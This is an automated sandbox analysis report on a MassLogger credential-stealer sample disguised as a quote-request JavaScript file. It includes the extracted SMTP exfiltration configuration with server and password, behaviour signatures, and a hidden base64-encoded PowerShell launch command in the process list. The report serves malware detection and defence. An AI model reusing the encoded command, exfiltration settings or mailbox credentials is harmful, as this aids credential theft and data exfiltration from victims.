Analysis
- max time kernel
300s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
23/06/2026, 11:07
General
- Target RFQ#6000222713ADM.js
- Size 7.7MB
- Sample260623-m8hersct4z
- SHA256 76771c0cfe10218fc1e8ba4ad2adfde996e1f5fd4b9987294da57e5b2a496e50
Malware Config
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
00-00-0000
-
host_password
Zs5s*QVx(4yLLl*1
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.trimnt.com
-
ssl_slate
True
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\RFQ#6000222713ADM.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" --headless powershell.exe -w H -NoP -nOni -EncodedCommand JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABlAG4AdgA6AGUAbABmAGsAcQA1AHMASQA0AHEAKQApAA==2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -w H -NoP -nOni -EncodedCommand JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABlAG4AdgA6AGUAbABmAGsAcQA1AHMASQA0AHEAKQApAA==3⤵
- Badlisted process makes network request
- Registers new Windows logon scripts automatically executed at logon.
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1088-0-0x00007FFFB288F000-0x00007FFFB2890000-memory.dmp
memory/1088-3-0x000001F739A20000-0x000001F739A42000-memory.dmp
memory/1088-4-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-5-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-6-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-7-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-8-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-10-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-11-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-12-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-13-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-14-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-15-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-9-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-16-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-18-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-17-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-19-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-20-0x000001F736490000-0x000001F73664A000-memory.dmp
memory/1088-21-0x000001F736650000-0x000001F7366A8000-memory.dmp
memory/1088-22-0x000001F7366B0000-0x000001F7366CE000-memory.dmp
memory/1088-23-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-24-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-26-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-27-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-28-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-29-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-30-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-31-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-25-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-32-0x000001F736880000-0x000001F7368D0000-memory.dmp
memory/1088-33-0x00007FFFB2700000-0x00007FFFB30A4000-memory.dmp
memory/1088-34-0x000001F739C20000-0x000001F739DE2000-memory.dmp